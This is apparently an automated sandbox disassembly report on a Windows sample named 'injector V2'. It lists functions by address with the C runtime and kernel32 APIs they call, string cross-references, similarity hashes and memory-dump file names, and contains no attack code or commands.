API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 9e48169d32f0793e880ee4a777dc8b1453f3e533cecebb8bb738eaa9b28bb6b2
Instruction ID: 192574652617c92f49ef8a7c5c4538bb6cc259aff928a5a689bb0f197af20edd
Opcode Fuzzy Hash: 9e48169d32f0793e880ee4a777dc8b1453f3e533cecebb8bb738eaa9b28bb6b2
Instruction Fuzzy Hash: DE613F71D963D0ABC7406FF5BDCD9C63BA8BB197527110437B101DA2E2DBB864428B6C

Function 004D90D3 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 004D91F2
___TypeMatch.LIBVCRUNTIME ref: 004D9300
CatchIt.LIBVCRUNTIME ref: 004D9351
_UnwindNestedFrames.LIBCMT ref: 004D9452
CallUnexpected.LIBVCRUNTIME ref: 004D946D

Strings

@]M, xrefs: 004D926D, 004D9275
csm, xrefs: 004D917D
csm, xrefs: 004D9110
csm, xrefs: 004D9229

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: @]M$csm$csm$csm
API String ID: 4119006552-3206858408
Opcode ID: 95262f08eff0074dc906eb95ff9a5eb2b20c52530628183561ecfb02594ac913
Instruction ID: 89c5baade081c99203d768e5c70df9b452572e8434443e881ca22178d8974cef
Opcode Fuzzy Hash: 95262f08eff0074dc906eb95ff9a5eb2b20c52530628183561ecfb02594ac913
Instruction Fuzzy Hash: A1B18971800209EFCF14EFA5C8A19AEB7B5BF08314B14459FE805AB342D739DE52CB99

Function 004D6130 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 004D6167
___except_validate_context_record.LIBVCRUNTIME ref: 004D616F
_ValidateLocalCookies.LIBCMT ref: 004D61F8
__IsNonwritableInCurrentImage.LIBCMT ref: 004D6223
_ValidateLocalCookies.LIBCMT ref: 004D6278

Strings

csm, xrefs: 004D620D
^M, xrefs: 004D6215, 004D621E, 004D622F

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: ^M$csm
API String ID: 1170836740-306190623
Opcode ID: 4308eba7da61baa27c6657838a397fca1774a7fcfc2a10b21b4e09af1ff5c974
Instruction ID: 10bd6fc9a7212e39980a42d61f3ea373bfdf868ed67eeecd2c9a58adf5c45ca1
Opcode Fuzzy Hash: 4308eba7da61baa27c6657838a397fca1774a7fcfc2a10b21b4e09af1ff5c974
Instruction Fuzzy Hash: AA411D34A00259ABCF10EF59C8A4A9FBBB0FF05318F15819BE8159B352D739EE05CB94

Function 004E0308 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,004E02F3,?,?,?,?,?,?,?,?,?,?), ref: 004E03AE
__alloca_probe_16.LIBCMT ref: 004E0469
__alloca_probe_16.LIBCMT ref: 004E04F8
__freea.LIBCMT ref: 004E0543
__freea.LIBCMT ref: 004E0549
__freea.LIBCMT ref: 004E057F
__freea.LIBCMT ref: 004E0585
__freea.LIBCMT ref: 004E0595

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: af91130f4dc08b8bdef5a2de89f33e6bf3495747baace073925149c5c2424c1d
Instruction ID: 4c9bd532e94a19dc90903c1a54264c28535d37bf30992842d535b7d9bd8cf104
Opcode Fuzzy Hash: af91130f4dc08b8bdef5a2de89f33e6bf3495747baace073925149c5c2424c1d
Instruction Fuzzy Hash: FB71F472900285ABDF21DA968C51BAF77B5DF49315F59001BE924A7381E7BCDC808B98

Function 004D9DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,004D9EE2,004D41E0,?,00000000,?,?,?,004D9BEB,00000022,FlsSetValue,004E3DDC,004E3DE4,?), ref: 004D9E94

Strings

ext-ms-, xrefs: 004D9E3E
api-ms-, xrefs: 004D9E2A

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 784992709298733552a353899b95bcfff69b19da19033d57fbe89209a363e8f7
Instruction ID: 770c9fc93d4b33e05b572e2e27c8f03cf20dc6b0374f12672536b81e51122f32
Opcode Fuzzy Hash: 784992709298733552a353899b95bcfff69b19da19033d57fbe89209a363e8f7
Instruction Fuzzy Hash: 96212731A00251ABCB21DB21DC94B5B7358EF82B60F250127ED06EB3D2DB38ED02C6D8

Function 004CBEB0 Relevance: 9.2, APIs: 6, Instructions: 173fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 004CBF10

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4e43d3bfc18703e0eca92b223dec0a2d07230d006d4571776e3344aae2b6aa3f
Instruction ID: 486876cd5dbb12a582dd7b38d0c0038bdb39ef043afc23a3380d6a9311272e3e
Opcode Fuzzy Hash: 4e43d3bfc18703e0eca92b223dec0a2d07230d006d4571776e3344aae2b6aa3f
Instruction Fuzzy Hash: 10714CB8904209CFCB44DFA9D594BAEBBF0EB48700F10855EE845AB350DB389D458F9A

Function 004D883A Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,004D8831,004D5F0D,004D55A4), ref: 004D8848
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004D8856
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004D886F
SetLastError.KERNEL32(00000000,004D8831,004D5F0D,004D55A4), ref: 004D88C1

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6ab601a3443cee9fa582e0b2f807bee27aa03698162ac2c14c7dc108ece4e8b7
Instruction ID: 9176bceb84808072de870b62150700c947d26b1c75e4414f354dacab5f0eaa3f
Opcode Fuzzy Hash: 6ab601a3443cee9fa582e0b2f807bee27aa03698162ac2c14c7dc108ece4e8b7
Instruction Fuzzy Hash: 9801B5325192125DEA243B767CE693B2754EB517B8360033FF411493E2EF199C01728D

Function 004D6F54 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,004E25EB,000000FF,?,004D7015,?,?,004D70B1,00000000), ref: 004D6F89
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,00000000,004E25EB,000000FF,?,004D7015,?,?,004D70B1,00000000), ref: 004D6F9B
FreeLibrary.KERNEL32(00000000,?,00000000,004E25EB,000000FF,?,004D7015,?,?,004D70B1,00000000), ref: 004D6FBD

Strings

mscoree.dll, xrefs: 004D6F82
CorExitProcess, xrefs: 004D6F93

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8d2f6318bf9beaaf834a02cfa12e6da906b89cc11e7c4e01927bcbd9feb7418a
Instruction ID: 4a01f7c523013e165e98b9df6da663835d7e6ffc091c66b915d5d144e15672f0
Opcode Fuzzy Hash: 8d2f6318bf9beaaf834a02cfa12e6da906b89cc11e7c4e01927bcbd9feb7418a
Instruction Fuzzy Hash: 2C01A2319086A9ABCB018F55DC49FEEB7B8FB04B15F05052AE811A63D0DBB89900CA98

Function 004DDF1D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 004DDFA2
__alloca_probe_16.LIBCMT ref: 004DE06B
__freea.LIBCMT ref: 004DE0D2

Part of subcall function 004DBC45: HeapAlloc.KERNEL32(00000000,?,00000000,?,004D41E0,?,?,004D1007,?,004CFAB5), ref: 004DBC77

__freea.LIBCMT ref: 004DE0E5
__freea.LIBCMT ref: 004DE0F2

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: a298428f71cab72bf663df0e6a42fc9440037166a428b6f1a077d68c67c59853
Instruction ID: 321caedbbc9571ece6527a998a3fb259eea789f67700acce592e7c6f655bd0c5
Opcode Fuzzy Hash: a298428f71cab72bf663df0e6a42fc9440037166a428b6f1a077d68c67c59853
Instruction Fuzzy Hash: ED51B472600216AFDB226F63CC65EBB76A9EF44B14B15402FFD05DA301EB79DC50C6A8

Function 004D94F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,004D93FE,?,?,00000000,00000000,00000000,?), ref: 004D951D
CatchIt.LIBVCRUNTIME ref: 004D9603

Strings

MOC, xrefs: 004D952F
RCC, xrefs: 004D9537

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: b082105b1ad211543b27f14a1b71501a9fe945d743bdd10c45cfb8e7fe69ab2f
Instruction ID: 52d48338e1b31320b0ecf6a1f129548d9c42b0c4fc67e9957cbf98f3f1063602
Opcode Fuzzy Hash: b082105b1ad211543b27f14a1b71501a9fe945d743bdd10c45cfb8e7fe69ab2f
Instruction Fuzzy Hash: F3414972900209AFCF16DF94D991AAE7BB5EF48304F18406BF905AA311D739DD50DB58

Function 004DDC5E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,004DDCFA,00000000,?,004ECCD0,?,?,?,004DDC31,00000004,InitializeCriticalSectionEx,004E46F8,004E4700), ref: 004DDC6B
GetLastError.KERNEL32(?,004DDCFA,00000000,?,004ECCD0,?,?,?,004DDC31,00000004,InitializeCriticalSectionEx,004E46F8,004E4700,00000000,?,004D971C), ref: 004DDC75
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 004DDC9D

Strings

api-ms-, xrefs: 004DDC82

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: a3736c332924439d333baa1c2a4a3637210af519623b6b899411df2deeb86aaf
Instruction ID: 44374c02eb2bd29e932f499b1306acda0c543dee709844be0b252aa86680e9dd
Opcode Fuzzy Hash: a3736c332924439d333baa1c2a4a3637210af519623b6b899411df2deeb86aaf
Instruction Fuzzy Hash: 63E01230654249BAEF112B51DC46B593B55AB01F55F104036F94DA82E1EBA69C11C54C

Function 004DE5E8 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 004DE64B

Part of subcall function 004DD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,004D87B1,?,00000000,?), ref: 004DD192

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 004DE89D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 004DE8E3
GetLastError.KERNEL32 ref: 004DE986

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 3252c119b915bfdef13967bd621916a573d88c033a7e3424812e516a09f21133
Instruction ID: c0fc32153d04e952500d94daaf9fd14b469e837201900f022c88e547fcf47ad4
Opcode Fuzzy Hash: 3252c119b915bfdef13967bd621916a573d88c033a7e3424812e516a09f21133
Instruction Fuzzy Hash: 2ED188B5D002489FCF15DFA9C8E09AEBBB5FF09314F28416BE456EB352D634A902CB54

Function 004D8EFC Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 004D8FC3
___AdjustPointer.LIBCMT ref: 004D8FE6
___AdjustPointer.LIBCMT ref: 004D9082

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: afff52e92908aa83ac61656d06cdb744da1566bf093f8565a7cb8080476faebe
Instruction ID: f2182e0fdb1ea66df77aa6764f5fef37c4c0dcb4affb400f0c057a754e6f3e69
Opcode Fuzzy Hash: afff52e92908aa83ac61656d06cdb744da1566bf093f8565a7cb8080476faebe
Instruction Fuzzy Hash: E6510372605602AFEB2A9F15E861BBA73A5FF04304F14052FE9458B391EB39EC41C798

Function 004DC5B8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 004DD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,004D87B1,?,00000000,?), ref: 004DD192

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,004DC95E,?,?,?,00000000), ref: 004DC61C
__dosmaperr.LIBCMT ref: 004DC623
GetLastError.KERNEL32(00000000,004DC95E,?,?,00000000,?,?,?,00000000,00000000,?,004DC95E,?,?,?,00000000), ref: 004DC65D
__dosmaperr.LIBCMT ref: 004DC664

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 44b51c171248b5f8e2668ca08f33837478ab3dabbc39c1c9d15f85e785b3bb7a
Instruction ID: 10723746cc27902094d629199e538dfa06f925b243e56a479bffae48e3b31f01
Opcode Fuzzy Hash: 44b51c171248b5f8e2668ca08f33837478ab3dabbc39c1c9d15f85e785b3bb7a
Instruction Fuzzy Hash: 3321B371604217AF9B10AF6688E092BB7A9EF45368710852BF81597791D738EC01CB98

Function 004DCB54 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd0004b404c8ad8e4941ce34312019c7b1348422597ea5d6da58f7992dd81f27
Instruction ID: b9c7a278b8b291ceb0341fb9292a9a005e5bd470fe7d4d9f8698a9b6c4ce63d0
Opcode Fuzzy Hash: cd0004b404c8ad8e4941ce34312019c7b1348422597ea5d6da58f7992dd81f27
Instruction Fuzzy Hash: C221C271204206AFCB20AF66ECE1D2B77A9EF443A8710452BFA1997351DB38EC40D798

Function 004DD22D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004DD235

Part of subcall function 004DD131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,004D87B1,?,00000000,?), ref: 004DD192

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004DD26D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004DD28D

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 52b36ae3013d6f47bd0ae35ff6c0cf48465d04aa4621d775681cdd7001c4e7f4
Instruction ID: 61b041babefe601e144f0ea0e09e43e95c31edff789ccade7210638004d5d1cc
Opcode Fuzzy Hash: 52b36ae3013d6f47bd0ae35ff6c0cf48465d04aa4621d775681cdd7001c4e7f4
Instruction Fuzzy Hash: C511D6B5D05519BE6B2227765CD9CBF6A6CDF853A8711006BF801D6342FB68CD0241BE

Function 004E07C0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,004DFF31,00000000,00000001,00000000,?,?,004DE9DA,?,00000000,00000000), ref: 004E07D7
GetLastError.KERNEL32(?,004DFF31,00000000,00000001,00000000,?,?,004DE9DA,?,00000000,00000000,?,?,?,004DE320,00000000), ref: 004E07E3

Part of subcall function 004E0840: CloseHandle.KERNEL32(FFFFFFFE,004E07F3,?,004DFF31,00000000,00000001,00000000,?,?,004DE9DA,?,00000000,00000000,?,?), ref: 004E0850

___initconout.LIBCMT ref: 004E07F3

Part of subcall function 004E0815: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,004E07B1,004DFF1E,?,?,004DE9DA,?,00000000,00000000,?), ref: 004E0828

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,004DFF31,00000000,00000001,00000000,?,?,004DE9DA,?,00000000,00000000,?), ref: 004E0808

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: b8427d747a4efb9374761fd23dc4c576d523842c2f535db1870ca4eeca483c51
Instruction ID: 0a8e1e3b430a89d1aa140256ec1864ae54e7b0490f617585b21c6de9b4d153c8
Opcode Fuzzy Hash: b8427d747a4efb9374761fd23dc4c576d523842c2f535db1870ca4eeca483c51
Instruction Fuzzy Hash: 57F01236000199BBCF222FD6DC44D9A3F27FF04362F048522FA1889162C6728C60DBD8

Function 004D8D6C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 004D8D75

Strings

